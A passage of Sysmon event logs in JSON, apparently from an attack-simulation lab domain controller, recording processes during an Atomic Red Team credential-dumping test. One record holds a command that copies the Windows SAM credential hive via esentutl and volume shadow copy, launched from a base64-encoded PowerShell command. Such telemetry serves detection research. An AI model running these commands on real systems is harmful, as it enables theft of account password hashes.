AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.166\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416C-5F2D-0000-0010CDF10700}\r\nTargetProcessId: 4176\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.166","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416C-5F2D-0000-0010CDF10700}","TargetProcessId":"4176","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5380,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nProcessGuid: {90617006-4170-5F2D-0000-0010A14E0800}\r\nProcessId: 2692\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c \"del %%windir%%\\SAM & esentutl.exe /y /vss %%SystemRoot%%/system32/config/SAM /d %%windir%%/SAM\" \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-416E-5F2D-0000-001033270800}\r\nParentProcessId: 4384\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","ProcessGuid":"{90617006-4170-5F2D-0000-0010A14E0800}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c \"del %%windir%%\\SAM & esentutl.exe /y /vss %%SystemRoot%%/system32/config/SAM /d %%windir%%/SAM\" ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-416E-5F2D-0000-001033270800}","ParentProcessId":"4384","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5381,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nSourceProcessId: 4384\r\nSourceThreadId: 4408\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010A14E0800}\r\nTargetProcessId: 2692\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be835cf(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83443(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bf05c6f(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7c02b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c934fce(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7816d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3beb12fd(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","SourceProcessId":"4384","SourceThreadId":"4408","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010A14E0800}","TargetProcessId":"2692","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be835cf(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83443(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bf05c6f(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7c02b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c934fce(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7816d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3beb12fd(wow64)","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5382,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010A14E0800}\r\nTargetProcessId: 2692\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010A14E0800}","TargetProcessId":"2692","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5383,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5384,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.197","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5385,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.197\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 